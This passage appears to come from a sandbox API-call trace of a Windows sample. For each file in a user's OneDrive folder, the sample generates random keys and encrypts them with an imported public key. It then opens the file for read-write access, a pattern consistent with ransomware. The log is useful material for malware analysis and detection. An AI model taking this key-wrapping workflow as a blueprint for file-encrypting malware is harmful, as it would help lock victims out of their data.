Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\api-ms-win-crt-convert-l1-1-0.dll") returned 290 [0172.092] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\api-ms-win-crt-environment-l1-1-0.dll") returned 294 [0172.092] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\api-ms-win-crt-environment-l1-1-0.dll") returned 294 [0172.092] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 293 [0172.092] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 293 [0172.092] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\api-ms-win-crt-heap-l1-1-0.dll") returned 287 [0172.092] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\api-ms-win-crt-heap-l1-1-0.dll") returned 287 [0172.092] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\api-ms-win-crt-locale-l1-1-0.dll") returned 289 [0172.092] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\api-ms-win-crt-locale-l1-1-0.dll") returned 289 [0172.092] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\api-ms-win-crt-math-l1-1-0.dll") returned 287 [0172.092] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\api-ms-win-crt-math-l1-1-0.dll") returned 287 [0172.092] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 292 [0172.092] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 292 [0172.093] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\api-ms-win-crt-private-l1-1-0.dll") returned 290 [0172.093] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\api-ms-win-crt-private-l1-1-0.dll") returned 290 [0172.093] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\api-ms-win-crt-process-l1-1-0.dll") returned 290 [0172.093] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\api-ms-win-crt-process-l1-1-0.dll") returned 290 [0172.093] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\api-ms-win-crt-runtime-l1-1-0.dll") returned 290 [0172.093] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\api-ms-win-crt-runtime-l1-1-0.dll") returned 290 [0172.093] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\api-ms-win-crt-stdio-l1-1-0.dll") returned 288 [0172.093] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\api-ms-win-crt-stdio-l1-1-0.dll") returned 288 [0172.093] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\api-ms-win-crt-string-l1-1-0.dll") returned 289 [0172.093] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\api-ms-win-crt-string-l1-1-0.dll") returned 289 [0172.093] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\api-ms-win-crt-time-l1-1-0.dll") returned 287 [0172.093] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\api-ms-win-crt-time-l1-1-0.dll") returned 287 [0172.093] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\api-ms-win-crt-utility-l1-1-0.dll") returned 290 [0172.093] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\api-ms-win-crt-utility-l1-1-0.dll") returned 290 [0172.093] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0172.094] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0172.095] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0172.095] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0172.095] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0172.095] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0172.095] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0172.096] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0172.096] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0172.096] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0172.096] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0172.098] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x636758) returned 1 [0172.099] CryptGetKeyParam (in: hKey=0x636758, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0172.099] CryptEncrypt (in: hKey=0x636758, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3150000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x3150000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0172.099] GetLastError () returned 0x0 [0172.099] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0172.099] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4980) returned 1 [0172.101] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x636518) returned 1 [0172.101] CryptGetKeyParam (in: hKey=0x636518, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0172.101] CryptEncrypt (in: hKey=0x636518, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3160000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x3160000*, pdwDataLen=0x285d120*=0x100) returned 1 [0172.102] GetLastError () returned 0x0 [0172.102] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0172.102] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\AppBlue.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\appblue.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0172.102] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0172.103] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0172.103] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0172.103] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0172.103] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0172.103] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0172.104] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0172.104] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0172.104] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0172.104] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0172.104] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0172.107] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x636658) returned 1 [0172.107] CryptGetKeyParam (in: hKey=0x636658, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0172.107] CryptEncrypt (in: hKey=0x636658, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3170000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x3170000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0172.107] GetLastError () returned 0x0 [0172.107] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0172.107] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0172.110] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x636798) returned 1 [0172.110] CryptGetKeyParam (in: hKey=0x636798, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0172.110] CryptEncrypt (in: hKey=0x636798, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3180000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x3180000*, pdwDataLen=0x285d120*=0x100) returned 1 [0172.110] GetLastError () returned 0x0 [0172.110] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0172.110] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\AppErrorBlue.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\apperrorblue.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0172.110] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0172.111] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0172.111] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0172.111] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0172.111] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0172.111] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0172.112] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0172.112] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0172.113] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0172.113] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0172.113] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0172.115] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6367d8) returned 1 [0172.115] CryptGetKeyParam (in: hKey=0x6367d8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0172.115] CryptEncrypt (in: hKey=0x6367d8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3190000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x3190000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0172.115] GetLastError () returned 0x0 [0172.115] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0172.115] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0172.118] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x636898) returned 1 [0172.118] CryptGetKeyParam (in: hKey=0x636898, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0172.118] CryptEncrypt (in: hKey=0x636898, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x31a0000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x31a0000*, pdwDataLen=0x285d120*=0x100) returned 1 [0172.118] GetLastError () returned 0x0 [0172.118] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0172.118] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\AppErrorWhite.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\apperrorwhite.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0172.118] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4540) returned 1 [0172.119] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0172.119] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0172.119] CryptGenRandom (in: hProv=0x5c4540, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0172.119] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0172.120] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0172.120] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0172.121] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0172.121] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0172.121] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0172.121] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4980) returned 1 [0172.123] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x636ad8) returned 1 [0172.124] CryptGetKeyParam (in: hKey=0x636ad8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0172.124] CryptEncrypt (in: hKey=0x636ad8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x31b0000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x31b0000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0172.124] GetLastError () returned 0x0 [0172.124] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0172.124] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0172.126] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x636958) returned 1 [0172.126] CryptGetKeyParam (in: hKey=0x636958, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0172.126] CryptEncrypt (in: hKey=0x636958, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x31c0000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x31c0000*, pdwDataLen=0x285d120*=0x100) returned 1 [0172.127] GetLastError () returned 0x0 [0172.127] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0172.127] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\AppWhite.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\appwhite.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0172.127] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0172.127] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0172.127] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0172.127] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0172.127] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0172.127] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0172.127] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0172.127] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0172.127] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0172.128] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0172.128] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0172.128] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0172.128] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0172.129] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0172.129] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0172.129] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0172.129] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0172.129] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0172.130] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0172.130] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0172.130] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0172.130] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0172.130] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4540) returned 1 [0172.133] CryptImportKey (in: hProv=0x5c4540, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x636918) returned 1 [0172.133] CryptGetKeyParam (in: hKey=0x636918, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, 